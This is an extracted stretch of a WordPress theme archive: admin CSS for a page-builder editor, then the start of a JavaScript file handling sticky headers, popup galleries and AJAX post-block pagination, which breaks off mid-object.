	border-bottom: 5px solid #f5f5f5;
}
.wpb_row_container > .wpb_penci_column > .vc_controls,
.wpb_row_container > .wpb_penci_column_inner > .vc_controls {
	text-align: center;
	background: #fff;
	width: 100%;
	line-height: 1px;
	padding: 2px;
	height: 24px;
}
.wpb_penci_container {
	margin-top: 5px;
}
.penci_container_controls .vc_row-hash-id {
	position: inherit !important;
	left: 2px !important;
	margin-right: 2px;
	display: block;
	height: 15px;
	overflow: hidden;
	float: left;
	padding: 5px;
	text-align: left;
	margin-left: 3px;
	background: #e6e6e6;
	border: 1px solid transparent;
	border-radius: 2px 2px 0 0;
	margin-top: 0;
	color: #444;
}
.vc_inappropriate[data-element="penci_container"] + .vc_inappropriate[data-element="penci_container_inner"] {
	display: block !important;
}
.wpb_penci_container .vc_controls-row .vc_row_layouts a.cell-12_14_14,
.wpb_penci_container .vc_controls-row .vc_row_layouts a.cell-14_14_12 {
	margin-left: 4px;
}
.vc_controls-row .vc_control-set-column .vc-composer-icon.vc-c-icon-1-4_1-4_1-2:before,
.vc_controls-row .vc_control-set-column .vc-composer-icon.vc-c-icon-1-2_1-4_1-4:before {
	content: '';
	background-image: url(./icon-vc-layout.png);
	width: 28px;
	height: 14px;
	display: block;
	position: absolute;
	top: -7px;
	left: -13px;
}
.vc_controls-row .vc_control-set-column .vc-composer-icon.vc-c-icon-1-4_1-4_1-2:before {
	background-position-x: 29px;
}
.vc_edit_form_elements .penci-number-input {
	width: 5em;
	margin-right: 5px;
	padding: 0 5px;
}
.vc_edit_form_elements .penci-only-number-input {
	width: 7em;
	margin-right: 5px;
}
.vc_edit_form_elements .penci-number-suffix {
	width: 5em;
	height: 28px;
	padding: 0 6px;
	vertical-align: top;
}
.penci-param-heading-wrapper {
	padding: 10px 15px;
	font-size: 16px;
	background: #e6e6e6;
	color: #6C6C6C;
	margin-bottom: 0;
	margin-top: 10px;
}
.penci-param-heading-wrapper .edit_form_line {
	display: none;
}
.penci-number-input {
	padding: 0 5px;
	width: 4em;
}
.vc_edit_form_elements .vc_column + .vc_column, .vc_edit_form_elements .vc_column-with-padding {
	padding-top: 0;
	padding-bottom: 10px;
}
.penci-td-wrapper:last-child {
	margin-bottom: 20px;
}
.penci-td-wrapper {
	margin-bottom: 30px;
	width: 100%;
}
.penci-td-wrapper.no-head,
.penci-td-wrapper .penci-td-content {
	display: flex;
	clear: both;
	flex-wrap: wrap;
	margin-top: 0;
	margin-right: 15px;
	margin-left: 15px;
	padding: 15px 0;
	border: 1px solid #E8E8E8;
	border-radius: 5px;
	background: #F9F9F9;
}
.penci-td-wrapper > div:not(:last-child) {
	margin-bottom: 10px;
}
.penci-td-wrapper .penci-param-heading-wrapper {
	background: transparent;
	border: 0;
	text-transform: uppercase;
	color: #000;
	padding-top: 0;
	margin-top: 0;
}
.penci-td-wrapper input,
.penci-td-wrapper select {
	padding: 6px 20px 6px 8px;
	border-color: #686868;
}
.penci-td-wrapper input:focus,
.penci-td-wrapper select:focus {
	outline: 0;
	border-color: #0473aa;
	box-shadow: none;
}
.penci-td-wrapper .wpb_el_type_penci_separator {
	background-color: transparent;
}
.penci-td-wrapper .penci-number-input,
.penci-td-wrapper .penci-number-suffix {
	padding: 6px 8px;
	height: auto;
}
.penci-td-content .vc_google_fonts_form_field-preview-wrapper {
	display: none;
}
div.vc_ui-panel-content select, div.vc_ui-panel-content textarea, div.vc_ui-panel-content input[type="text"], div.vc_ui-panel-content input[type="number"], .whb-popup select, .whb-popup textarea, .whb-popup input[type="text"], .whb-popup input[type="number"] {
	outline: none;
	border-color: #e7e7e7;
	border-radius: 4px;
	box-shadow: none;
	transition: .2s border-color ease-in-out;
}
.penci-vc-switch {
	font-size: 0;
}
.penci-vc-switch .switch-controls {
	display: inline-block;
	min-width: 50px;
	height: 36px;
	background-color: #EFEFF0;
	color: #444;
	text-align: center;
	text-transform: uppercase;
	font-weight: 600;
	font-size: 12px;
	cursor: pointer;
	transition: all .2s ease-in-out;
}
.penci-vc-switch .switch-controls span {
	display: block;
	line-height: 36px;
}
.penci-vc-switch .switch-controls:hover {
	background-color: #DDDDDF;
}
.penci-vc-switch .switch-controls:first-child {
	border-top-left-radius: 4px;
	border-bottom-left-radius: 4px;
}
.penci-vc-switch .switch-controls:last-child {
	border-top-right-radius: 4px;
	border-bottom-right-radius: 4px;
}
.penci-vc-switch .switch-inactive.pc-active {
	background-color: #B1B1B0;
	color: #FFF;
	pointer-events: none;
	user-select: none;
}
.penci-vc-switch .switch-active.pc-active {
	background: var(--wp-admin-theme-color);
	color: #FFF;
}
.penci-vc-slider {
	position: relative;
	display: flex;
	align-items: center;
}
.vc_btn-sm, a.vc_btn-sm, button.vc_btn-sm {
	padding: 11px 15px;
}
.pc-slider-field .ui-widget-header {
	border-radius: 4px;
	background: #4D93D1;
}
.pc-slider-field.ui-widget.ui-widget-content {
	border: none;
	border-radius: 4px;
	background-color: #EFEFF0;
}
.pc-slider-field.ui-slider-horizontal {
	width: 100%;
	height: 6px;
	cursor: pointer;
}
.pc-slider-field.ui-slider-horizontal .ui-slider-handle {
	top: -5px;
	width: 12px;
	height: 12px;
	border-width: 2px;
	border-color: #4D93D1;
	border-radius: 50%;
	background: #FFF;
	cursor: pointer;
	transition: box-shadow .2s ease;
}
.pc-slider-field .ui-slider-handle.ui-state-hover, .pc-slider-field .ui-slider-handle.ui-state-focus {
	box-shadow: 0 0 0 2px rgba(77, 147, 209, 0.3);
}
.pc-slider-field:empty {
	height: 6px;
}
.pc-slider-field-value-display {
	margin-inline-start: 10px;
}
.pc-slider-field-value-display .pc-slider-value-preview {
	display: flex;
	align-items: center;
	min-width: 30px;
	height: 30px !important;
	text-align: right;
	line-height: 1;
	direction: rtl;
}
.pc-slider-field-value-display input.pc-slider-value-preview {
	padding: 3px !important;
	max-width: 60px !important;
	width: auto !important;
}
.pc-slider-field-value-display span.pc-slider-value-preview {
	font-weight: 600;
}
.vc_element_label, .wpb_element_label {
	margin-bottom: 10px;
}
@media only screen and (min-width: 961px) {
	.penci-td-wrapper .vc_col-xs-12:not(.wpb_el_type_column_offset):not(.wpb_el_type_loop):not(.wpb_el_type_textarea_html):not(.wpb_el_type_css_editor):not(.wpb_el_type_param_group):not(.wpb_el_type_exploded_textarea):not(.penci-param-heading-wrapper):not(.wpb_el_type_font_container):not(.wpb_sortable),
	.penci-td-wrapper .vc_col-sm-12:not(.wpb_el_type_column_offset):not(.wpb_el_type_loop):not(.wpb_el_type_textarea_html):not(.wpb_el_type_css_editor):not(.wpb_el_type_param_group):not(.wpb_el_type_exploded_textarea):not(.penci-param-heading-wrapper):not(.wpb_el_type_font_container):not(.wpb_sortable) {
		width: 50%;
	}
	.penci-td-wrapper .loop_params_holder .vc_col-xs-12,
	.penci-td-wrapper .loop_params_holder .vc_col-sm-12 {
		width: 100% !important;
		margin-top: 10px;
	}
}
.wpb_el_type_penci_responsive_size {
	-ms-flex: 1 1 auto;
	flex: 1 1 auto;
	width: auto !important;
	-webkit-box-flex: 1;
}
.penci-rs-wrapper > div {
	display: inline-block;
	margin-right: 10px;
	vertical-align: middle;
}
.penci-rs-wrapper .penci-rs-item .penci-rs-input {
	padding: 8px 6px;
	width: 60px;
	height: 36px;
	border-top-left-radius: 0;
	border-bottom-left-radius: 0;
	vertical-align: middle;
}
.penci-rs-wrapper .penci-rs-item {
	display: inline-flex;
	align-items: center;
}
.penci-rs-wrapper .penci-rs-item i {
	margin-right: 3px;
}
.penci-rs-wrapper .penci-rs-item.hide {
	display: none;
}
.penci-rs-wrapper .penci-rs-unit {
	margin-right: 0;
}
.penci-td-wrapper .penci-param-heading-wrapper {
	padding-bottom: 0;
	margin-bottom: 0;
}
.pc-field-devices > span, .pc-tabs.pc-style-devices .pc-set-item, .vc_column.pc-custom-width .vc-button-set-item, .pc-spacing-devices > span {
	display: inline-flex;
	align-items: center;
	color: #333;
	vertical-align: middle;
	text-transform: uppercase;
	font-weight: 600;
	font-size: 13px;
	line-height: 1;
	cursor: pointer;
	transition: all .25s ease-in-out;
}
.pc-field-devices > span span, .pc-tabs.pc-style-devices .pc-set-item span, .vc_column.pc-custom-width .vc-button-set-item span, .pc-spacing-devices > span span {
	margin-inline-start: 5px;
}
.pc-field-devices > span:hover, .pc-tabs.pc-style-devices .pc-set-item:hover, .vc_column.pc-custom-width .vc-button-set-item:hover, .pc-spacing-devices > span:hover {
	color: #333;
}
.pc-field-devices > span:hover:not(.pc-active), .pc-tabs.pc-style-devices .pc-set-item:hover:not(.pc-active), .vc_column.pc-custom-width .vc-button-set-item:hover:not(.pc-active), .pc-spacing-devices > span:hover:not(.pc-active) {
	opacity: .6;
}
.pc-field-devices > span.pc-active, .pc-tabs.pc-style-devices .pc-active.pc-set-item, .vc_column.pc-custom-width .pc-active.vc-button-set-item, .pc-spacing-devices > span.pc-active {
	color: var(--wp-admin-theme-color);
}
.pc-field-devices > span.pc-active:before, .pc-tabs.pc-style-devices .pc-active.pc-set-item:before, .vc_column.pc-custom-width .pc-active.vc-button-set-item:before, .pc-spacing-devices > span.pc-active:before {
	color: inherit;
}
.pc-field-devices > span:not(:last-child), .pc-tabs.pc-style-devices .pc-set-item:not(:last-child), .vc_column.pc-custom-width .vc-button-set-item:not(:last-child), .pc-spacing-devices > span:not(:last-child) {
	margin-inline-end: 7px;
}
.pc-field-devices > span:before, .pc-tabs.pc-style-devices .pc-set-item:before, .vc_column.pc-custom-width .vc-button-set-item:before, .pc-spacing-devices > span:before {
	color: #BFBFBF;
	font-weight: 400;
	font-size: 15px;
	font-family: "dashicons";
}
.pc-field-devices > span[data-value="desktop"]:before, .pc-tabs.pc-style-devices [data-value="desktop"].pc-set-item:before, .vc_column.pc-custom-width [data-value="desktop"].vc-button-set-item:before, .pc-spacing-devices > span[data-value="desktop"]:before {
	content: "\f472";
}
.pc-field-devices > span[data-value="tablet"]:before, .pc-tabs.pc-style-devices [data-value="tablet"].pc-set-item:before, .vc_column.pc-custom-width [data-value="tablet"].vc-button-set-item:before, .pc-spacing-devices > span[data-value="tablet"]:before {
	content: "\f471";
}
.pc-field-devices > span[data-value="mobile"]:before, .pc-tabs.pc-style-devices [data-value="mobile"].pc-set-item:before, .vc_column.pc-custom-width [data-value="mobile"].vc-button-set-item:before, .pc-spacing-devices > span[data-value="mobile"]:before {
	content: "\f470";
}
.pc-responsive-spacing[data-device] .vc_content i {
	background: none !important;
	line-height: 32px;
}
.pc-responsive-spacing[data-device] .vc_content i:before {
	content: "\f470";
	color: #C9C9C9;
	font-style: normal;
	font-size: 26px;
	font-family: "dashicons";
}
.pc-responsive-spacing[data-device="tablet"] .vc_content i:before {
	content: "\f471";
}
.pc-responsive-spacing[data-device="mobile"] .vc_content i:before {
	content: "\f470";
}
.pc-spacing-devices {
	position: absolute;
	top: 35px;
	left: 80px;
	background-color: transparent;
}
.pc-spacing-devices > span .vc-composer-icon {
	margin-right: 5px;
	font-weight: 400;
}
.pc-spacing-devices span span {
	font-size: 13px;
}
.wpb_el_type_penci_responsive_spacing {
	margin-bottom: 0 !important;
}
.wpb_el_type_penci_responsive_spacing.vc_col-xs-12 {
	position: static;
}
.pc-responsive-spacing[data-device] .vc_content i {
	background: none !important;
	line-height: 32px;
}
.pc-responsive-spacing[data-device] .vc_content i:before {
	content: "\f470";
	color: #C9C9C9;
	font-style: normal;
	font-size: 26px;
	font-family: "dashicons";
}
.pc-responsive-spacing[data-device="tablet"] .vc_content i:before {
	content: "\f471";
}
.pc-responsive-spacing[data-device="mobile"] .vc_content i:before {
	content: "\f470";
}
.vc_layout-onion {
	margin-top: 15px;
}
.vc_layout-onion:not(.pc-active) {
	visibility: hidden;
	opacity: 0;
}
.vc_layout-onion.pc-active {
	transition: all .6s ease;
}
.vc_edit-form-tab .vc_layout-onion {
	position: absolute;
	top: 30px;
	left: 0;
	margin-top: 0;
}
.vc_wrapper-param-type-css_editor div.vc_settings {
	position: static;
	margin-left: 55%;
}
.vc_layout-onion.vc_col-xs-7.pc-responsive-spacing {
	top: 70px;
	left: 20px;
}
.vc_wrapper-param-type-css_editor > .wpb_element_label {
	display: none;
}
.penci-td-content .vc_autocomplete-field .vc_autocomplete {
	display: flex;
	align-items: center;
	flex-wrap: wrap;
}
.penci-td-content .loop_params_holder {
	margin-bottom: 15px;
}
.vc_ui-panel-window-inner {
	width: 100%;
	max-width: 1200px;
}
.vc_wrapper-param-type-google_fonts .vc_column + .vc_column {
	margin-top: 15px;
}
label:has(input[value="e-landing-page"]) {
	display: none;
}
PK     N\1eg  g  '  inc/js_composer/assets/page_editable.jsnu [        var vc_iframe = vc_iframe || {}
!function ( $ ) {
	'use strict'
	var PENCI = PENCI || {}
	PENCI.sticky = {
		init: function () {

			PENCI.sticky.stickySidebar()
			PENCI.sticky.headerSticky()
			PENCI.sticky.headerMobileSticky()

			$( window ).on( 'resize', function () {
				$( '.site-header' ).unstick()

				PENCI.sticky.headerSticky()

				if ( !$( '.penci-header-mobile' ).hasClass( 'mobile' ) ) {
					$( '.penci-header-mobile' ).unstick()
					PENCI.sticky.headerMobileSticky()
				}
			} )
		},


		headerSticky: function () {
			if ( !$( 'body' ).hasClass( 'header-sticky' ) || !$().sticky || $( window ).width() < 1024 ) {
				return
			}

			$( '.site-header' ).sticky( {
				topSpacing: (
					$( '#wpadminbar' ).length ? $( '#wpadminbar' ).height() : 0
				),
			} )
		},
		headerMobileSticky: function () {

			if ( !$( 'body' ).hasClass( 'header-sticky' ) || !$().sticky || $( window ).width() > 1024 ) {
				return false
			}
			var offset = $( '#wpadminbar' ).length && $( window ).width() > 480 ? $( '#wpadminbar' ).height() : 0

			$( '.penci-header-mobile' ).sticky( {
				topSpacing: offset,
				className: 'mobile-is-sticky',
				wrapperClassName: 'mobile-sticky-wrapper',
			} )

			return false
		},
		stickySidebar: function () {

			if ( !$( 'body' ).hasClass( 'penci_sticky_content_sidebar' ) || !$().theiaStickySidebar || $( window ).width() < 992 ) {
				return false
			}

			var top_margin = $( '.site-header' ).data( 'height' )

			$( '.penci-sticky-sidebar, .penci-sticky-content, .penci_vc_sticky_sidebar .penci-content-main, .penci_vc_sticky_sidebar .widget-area' ).theiaStickySidebar( {
				// settings
				additionalMarginTop: top_margin,
				additionalMarginBottom: 0,
			} )
		},
	}
	PENCI.penciVideo = function () {

		if ( $().magnificPopup ) {
			$( '.penci-popup-video' ).magnificPopup( {
				type: 'iframe',
				mainClass: 'mfp-fade',
			} )
		}

	}
	PENCI.toggleSocialMedia = function () {
		var $socialToggle = $( '.social-buttons__toggle' ),
			socialButtons = $( '.penci-block-vc .social-buttons' )

		$socialToggle.on( 'click', function ( e ) {
			e.preventDefault()

			socialButtons.removeClass( 'active' )

			var socailMedia = $( this ).closest( '.social-buttons' )

			if ( socailMedia.hasClass( 'active' ) ) {
				socailMedia.addClass( 'pbutton_close_click' ).removeClass( 'active' )

				setTimeout( function () {
					socailMedia.removeClass( 'pbutton_close_click' )
				}, 400 )
			}
		} )

		$( '#page' ).on( 'click', function ( e ) {

			if ( socialButtons.hasClass( 'active' ) ) {
				socialButtons.removeClass( 'active' )
			}
		} )

		$socialToggle.on( 'mouseover touchstart', function () {
			var $this = $( this ),
				parent = $this.parent()

			if ( parent.hasClass( 'active' ) ) {
				return false
			}

			socialButtons.removeClass( 'active' )
			parent.addClass( 'active' )

		} )
	}
	PENCI.popupGallery = function () {
		if ( !$().magnificPopup ) {
			return false
		}

		$( '.penci-image-popup-no-margins' ).magnificPopup( {
			type: 'image',
			closeOnContentClick: true,
			closeBtnInside: false,
			fixedContentPos: true,
			mainClass: 'mfp-no-margins mfp-with-zoom', // class to remove default margin from left and right side
			image: {
				verticalFit: true,
			},
			zoom: {
				enabled: true,
				duration: 300, // don't foget to change the duration also in CSS
			},
		} )

		$( '.popup-gallery-slider a' ).magnificPopup( {
			type: 'image',
		} )


		$( '.penci-popup-gallery' ).each( function () {
			var $this = $( this ),
				id = $this.attr( 'id' )

			$( '#' + id + ' a' ).magnificPopup( {
				type: 'image',
				closeOnContentClick: true,
				closeBtnInside: false,
				fixedContentPos: true,
				image: {
					verticalFit: true,
				},
				gallery: {
					enabled: true,
				},
				zoom: {
					enabled: false,
					duration: 300,
				},
			} )
		} )
	}
	PENCI.ajaxDoBlockRequest = {
		// Init the module
		init: function () {
			PENCI.ajaxDoBlockRequest.link()
			PENCI.ajaxDoBlockRequest.nextPrev()
			PENCI.ajaxDoBlockRequest.loadMore()
			PENCI.ajaxDoBlockRequest.infinityScroll()
			PENCI.ajaxDoBlockRequest.megamenu()
		},
		megamenu: function () {

			$( 'body' ).on( 'click', '.penci-mega-pag', function ( event ) {
				event.preventDefault()

				if ( $( this ).hasClass( 'penci-pag-disabled' ) ) {
					return false
				}

				var currentBlockObj = $( this ).data( 'block_id' ),
					$currentBlockObj = $( '#' + currentBlockObj ),
					$blockVC = $currentBlockObj.closest( '.penci-mega-row' ),
					dataFilter = $blockVC.data( 'atts_json' ),
					paged = $blockVC.attr( 'data-current' ),
					blockHeight = $currentBlockObj.height(),
					$is_cache = false

				var OBjBlockData = PENCI.ajaxDoBlockRequest.getOBjBlockData( $blockVC.attr( 'data-blockUid' ) )
				dataFilter = OBjBlockData.atts_json ? JSON.parse( OBjBlockData.atts_json ) : OBjBlockData.atts_json

				if ( $( this ).hasClass( 'penci-slider-next' ) ) {
					paged ++
				}

				if ( $( this ).hasClass( 'penci-slider-prev' ) ) {
					paged --
				}

				$blockVC.find( '.penci-block-pag' ).removeClass( 'penci-pag-disabled' )

				// Fix height block
				$currentBlockObj.css( 'min-height', blockHeight + 'px' )

				var data = {
					action: 'penci_ajax_mega_menu',
					datafilter: dataFilter,
					paged: paged.toString(),
					styleAction: 'next_prev',
					nonce: PENCILOCALIZE.nonce,
				}

				var currentBlockObjSignature = JSON.stringify( data )

				if ( PENCILOCALCACHE.exist( currentBlockObjSignature ) ) {
					var responseData = PENCILOCALCACHE.get( currentBlockObjSignature )

					$is_cache = true
					setTimeout( function () {
						$blockVC.attr( 'data-current', paged )
						$currentBlockObj.html( responseData.items ).removeClass( 'ajax-loading' )

						PENCI.ajaxDoBlockRequest.animateMegaLoadITems( $currentBlockObj, $is_cache )
						PENCI.ajaxDoBlockRequest.hidePag( $blockVC, responseData )
					}, 300 )

					return false
				}

				$currentBlockObj.addClass( 'ajax-loading' )

				$.post( PENCILOCALIZE.ajaxUrl, data, function ( response ) {
					$blockVC.attr( 'data-current', paged )


					$currentBlockObj.html( response.data.items )

					PENCI.ajaxDoBlockRequest.animateMegaLoadITems( $currentBlockObj, $is_cache )
					PENCI.ajaxDoBlockRequest.hidePag( $blockVC, response.data )
					PENCI.ajaxDoBlockRequest.saveAjaxData( currentBlockObjSignature, response.data )
				} )

				// Save items page 1 of block
				if ( 1 === paged - 1 ) {

					var dataFirstItems = {
						action: 'penci_ajax_mega_menu',
						datafilter: dataFilter,
						paged: '1',
						styleAction: 'next_prev',
						nonce: PENCILOCALIZE.nonce,
					}

					$.post( PENCILOCALIZE.ajaxUrl, dataFirstItems, function ( response ) {
						PENCI.ajaxDoBlockRequest.saveAjaxData( JSON.stringify( dataFirstItems ), response.data )
					} )
				}

			} )
		},
		link: function () {
			$( '.penci-subcat-link' ).click( function ( event ) {
				event.preventDefault()

				if ( $( this ).hasClass( 'active' ) ) {
					return false
				}

				var currentBlockObj = $( this ).data( 'block_id' ),
					$currentBlockObj = $( '#' + currentBlockObj ),
					$blockVC = $currentBlockObj.closest( '.penci-block-vc' ),
					blockHeight = $currentBlockObj.height(),
					$is_cache = false

				$blockVC.find( '.penci-subcat-link' ).removeClass( 'active' )
				$( this ).addClass( 'active clicked' )

				var dataFilter = $blockVC.data( 'atts_json' ),
					dataContent = $blockVC.data( 'content' ),
					filterValue = $( this ).data( 'filter_value' )

				var OBjBlockData = PENCI.ajaxDoBlockRequest.getOBjBlockData( $blockVC.attr( 'data-blockUid' ) )
				dataFilter = JSON.parse( OBjBlockData.atts_json )
				dataContent = OBjBlockData.content

				if ( filterValue ) {
					dataFilter['category_ids'] = filterValue.toString()
				}

				var data = {
					action: 'penci_ajax_block',
					datafilter: dataFilter,
					datacontent: dataContent,
					styleAction: 'link',
					nonce: PENCILOCALIZE.nonce,
				}

				// Fix height block
				$currentBlockObj.css( 'min-height', blockHeight + 'px' )

				var currentBlockObjSignature = JSON.stringify( data )

				if ( PENCILOCALCACHE.exist( currentBlockObjSignature ) ) {
					var responseData = PENCILOCALCACHE.get( currentBlockObjSignature )
					$is_cache = true
					setTimeout( function () {
						$blockVC.attr( 'data-atts_json', JSON.stringify( dataFilter ) ).attr( 'data-current', 1 )

						$currentBlockObj.html( responseData.items ).removeClass( 'ajax-loading' )

						PENCI.ajaxDoBlockRequest.animateLoadITems( $currentBlockObj, '1', $is_cache )
						PENCI.ajaxDoBlockRequest.hidePag( $blockVC, responseData )
					}, 300 )

					return false
				}

				$currentBlockObj.addClass( 'ajax-loading' )

				$.post( PENCILOCALIZE.ajaxUrl, data, function ( response ) {

					$blockVC.attr( 'data-atts_json', JSON.stringify( dataFilter ) ).attr( 'data-current', 1 )

					$currentBlockObj.html( response.data.items ).removeClass( 'ajax-loading' )

					PENCI.ajaxDoBlockRequest.animateLoadITems( $currentBlockObj, '1', $is_cache )
					PENCI.ajaxDoBlockRequest.hidePag( $blockVC, response.data )
					PENCI.ajaxDoBlockRequest.saveAjaxData( currentBlockObjSignature, response.data )
				} )

				// Save items page 1 of block
				var preFilterValue = $blockVC.find( '.penci-subcat-item-1' ).data( 'filter_value' )
				dataFilter['category_ids'] = preFilterValue ? preFilterValue.toString() : ''

				var dataFirstItems = {
					action: 'penci_ajax_block',
					datafilter: dataFilter,
					datacontent: dataContent,
					styleAction: 'link',
					nonce: PENCILOCALIZE.nonce,
				}

				var currentBlockObjFirstItems = JSON.stringify( dataFirstItems )

				if ( filterValue && !PENCILOCALCACHE.exist( currentBlockObjFirstItems ) ) {
					$.post( PENCILOCALIZE.ajaxUrl, dataFirstItems, function ( response ) {

						PENCI.ajaxDoBlockRequest.saveAjaxData( currentBlockObjFirstItems, response.data )
					} )
				}
			} )
		},
		nextPrev: function () {
			$( 'body' ).on( 'click', '.penci-block-pag', function ( event ) {
				event.preventDefault()

				var start = new Date().getTime()
				if ( $( this ).hasClass( 'penci-pag-disabled' ) ) {
					return false
				}

				var currentBlockObj = $( this ).data( 'block_id' ),
					$currentBlockObj = $( '#' + currentBlockObj ),
					$blockVC = $currentBlockObj.closest( '.penci-block-vc' ),
					dataContent = $blockVC.data( 'content' ),
					dataFilter = $blockVC.data( 'atts_json' ),
					paged = $blockVC.attr( 'data-current' ),
					filterValue = $blockVC.find( '.penci-subcat-link.active' ).data( 'filter_value' ),
					blockHeight = $currentBlockObj.height(),
					$is_cache = false


				var OBjBlockData = PENCI.ajaxDoBlockRequest.getOBjBlockData( $blockVC.attr( 'data-blockUid' ) )

				dataFilter = OBjBlockData.atts_json ? JSON.parse( OBjBlockData.atts_json ) : OBjBlockData.atts_json
				dataContent = OBjBlockData.content

				if ( filterValue ) {
					dataFilter['category_ids'] = filterValue.toString()
				}

				if ( $( this ).hasClass( 'penci-slider-next' ) ) {
					paged ++
				}

				if ( $( this ).hasClass( 'penci-slider-prev' ) ) {
					paged --
				}

				$blockVC.find( '.penci-block-pag' ).removeClass( 'penci-pag-disabled' )

				// Fix height block
				$currentBlockObj.css( 'min-height', blockHeight + 'px' )

				var data = {
					action: 'penci_ajax_block',
					datafilter: dataFilter,
					paged: paged.toString(),
					styleAction: 'next_prev',
					datacontent: dataContent,
					nonce: PENCILOCALIZE.nonce,
				}

				var currentBlockObjSignature = JSON.stringify( data )

				if ( PENCILOCALCACHE.exist( currentBlockObjSignature ) ) {

					var responseData = PENCILOCALCACHE.get( currentBlockObjSignature )
					$is_cache = true

					$blockVC.attr( 'data-current', paged )

					var content = jQuery( responseData.items )
					$currentBlockObj.html( content )

					PENCI.ajaxDoBlockRequest.animateLoadITems( $currentBlockObj, paged, $is_cache )
					PENCI.ajaxDoBlockRequest.hidePag( $blockVC, responseData )

					return false
				}

				$currentBlockObj.addClass( 'ajax-loading' )

				$.post( PENCILOCALIZE.ajaxUrl, data, function ( response ) {

					$blockVC.attr( 'data-current', paged )

					var content = jQuery( response.data.items )
					$currentBlockObj.html( content )
					PENCI.ajaxDoBlockRequest.animateLoadITems( $currentBlockObj, paged, $is_cache )
					PENCI.ajaxDoBlockRequest.hidePag( $blockVC, response.data )
					PENCI.ajaxDoBlockRequest.saveAjaxData( currentBlockObjSignature, response.data )

				} )

				// Save items page 1 of block
				if ( 1 === paged - 1 ) {

					var dataFirstItems = {
						action: 'penci_ajax_block',
						datafilter: dataFilter,
						paged: '1',
						styleAction: 'next_prev',
						datacontent: dataContent,
						nonce: PENCILOCALIZE.nonce,
					}

					$.post( PENCILOCALIZE.ajaxUrl, dataFirstItems, function ( response ) {
						PENCI.ajaxDoBlockRequest.saveAjaxData( JSON.stringify( dataFirstItems ), response.data )
					} )
				}

			} )
		},
		loadMore: function () {
			$( 'body' ).on( 'click', '.penci-block-ajax-more-button', function ( event ) {
				PENCI.ajaxDoBlockRequest.actionLoadMore( $( this ) )
			} )
		},

		infinityScroll: function () {
			var $this_scroll = $( '.penci-block-ajax-more-button.infinite_scroll' )

			if ( !$this_scroll.length ) {
				return false
			}

			$( window ).on( 'scroll', function () {
				var hT = $this_scroll.offset().top,
					hH = $this_scroll.outerHeight(),
					wH = $( window ).height(),
					wS = $( this ).scrollTop()

				if ( wS > (
					hT + hH - wH
				) ) {

					PENCI.ajaxDoBlockRequest.actionLoadMore( $this_scroll )
				}
			} ).trigger( 'scroll' )
		},
		getOBjBlockData: function ( $blockID ) {
			var $obj = new penciBlock()
			$.each( penciBlocksArray, function ( index, block ) {

				if ( block.blockID === $blockID ) {
					$obj = penciBlocksArray[index]
				}
			} )

			return $obj
		},

		actionLoadMore: function ( $this ) {

			if ( $this.hasClass( 'loading-posts' ) ) {
				return false
			}

			var mes = $this.data( 'mes' ),
				currentBlockObj = $this.data( 'block_id' ),
				$currentBlockObj = $( '#' + currentBlockObj ),
				$ajaxLoading = $currentBlockObj.find( '.penci-loader-effect' ),
				$blockVC = $currentBlockObj.closest( '.penci-block-vc' ),
				$contentItems = $currentBlockObj.find( '.penci-block_content__items' ),
				dataFilter = $blockVC.data( 'atts_json' ),
				dataContent = $blockVC.data( 'content' ),
				filterValue = $blockVC.find( '.penci-subcat-link.active' ).data( 'filter_value' ),
				paged = $blockVC.attr( 'data-current' ),
				$is_cache = false

			var OBjBlockData = PENCI.ajaxDoBlockRequest.getOBjBlockData( $blockVC.attr( 'data-blockUid' ) )
			dataFilter = JSON.parse( OBjBlockData.atts_json )
			dataContent = OBjBlockData.content

			if ( filterValue ) {
				dataFilter['category_ids'] = filterValue.toString()
			}

			paged ++

			$this.addClass( 'loading-posts' )

			var data = {
				action: 'penci_ajax_block',
				datafilter: dataFilter,
				styleAction: 'load_more',
				paged: paged,
				datacontent: dataContent,
				nonce: PENCILOCALIZE.nonce,
			}

			$.post( PENCILOCALIZE.ajaxUrl, data, function ( response ) {

				if ( response.data.items ) {

					$ajaxLoading.remove()
					$currentBlockObj.append( response.data.items ).removeClass( 'ajax-loading' )
					$this.removeClass( 'loading-posts' )

				} else {
					$this.find( '.ajax-more-text' ).text( mes )
					$this.find( 'i' ).remove()
					$this.removeClass( 'loading-posts' )
					setTimeout( function () {
						$this.parent( '.penci-ajax-more' ).remove()
					}, 1200 )
				}

				$blockVC.attr( 'data-current', paged )
				PENCI.ajaxDoBlockRequest.animateLoadITems( $currentBlockObj, paged, $is_cache )
			} )
		},

		animateLoadITems: function ( $currentBlockObj, currentPage, $is_cache ) {
			var theBlockListPostItem = $currentBlockObj.find( '.penci-block-items__' + currentPage )

			// Animate the loaded items
			theBlockListPostItem.find( '.penci-post-item' ).velocity( { opacity: 0 } )
			$currentBlockObj.removeClass( 'ajax-loading' )
			theBlockListPostItem.find( '.penci-post-item' ).velocity( 'stop' ).velocity( 'transition.slideUpIn', {
				stagger: 100,
				duration: 500,
				complete: function () {
					$currentBlockObj.attr( 'style', '' )
					PENCI.ajaxDoBlockRequest.ajaxSuccess( $currentBlockObj, $is_cache )
				},
			} )

		},
		animateMegaLoadITems: function ( $currentBlockObj, $is_cache ) {
			// Animate the loaded items
			$currentBlockObj.find( '.penci-mega-post' ).velocity( { opacity: 0 } )
			$currentBlockObj.removeClass( 'ajax-loading' )
			$currentBlockObj.find( '.penci-mega-post' ).velocity( 'stop' ).velocity( 'transition.slideUpIn', {
				stagger: 100,
				duration: 200,
				complete: function () {
					PENCI.ajaxDoBlockRequest.ajaxSuccess( $currentBlockObj, $is_cache )
					$currentBlockObj.attr( 'style', '' )
				},
			} )
		},

		hidePag: function ( $blockVC, responseData ) {

			var $pagNext = $blockVC.find( '.penci-slider-next' ),
				$pagPrev = $blockVC.find( '.penci-slider-prev' ),
				$pagination = $blockVC.find( '.penci-pagination' )

			if ( responseData.hidePagNext ) {
				$pagNext.addClass( 'penci-pag-disabled' )
				$pagination.addClass( 'penci-ajax-more-disabled' )
			} else {
				$pagNext.removeClass( 'penci-pag-disabled' )
				$pagination.removeClass( 'penci-ajax-more-disabled' )
			}

			if ( responseData.hidePagPrev ) {
				$pagPrev.addClass( 'penci-pag-disabled' )
			} else {
				$pagPrev.removeClass( 'penci-pag-disabled' )
			}
		},

		ajaxSuccess: function ( $currentBlockObj, $is_cache ) {
			if ( !$is_cache ) {
				PENCI.penciLazy()
			}

			PENCI.general.fitvids( $currentBlockObj )
			PENCI.toggleSocialMedia()
			PENCI.popupGallery()
			PENCI.penciVideo()
			PENCI.sticky.stickySidebar()
			PENCI.EasyPieChart()
		},

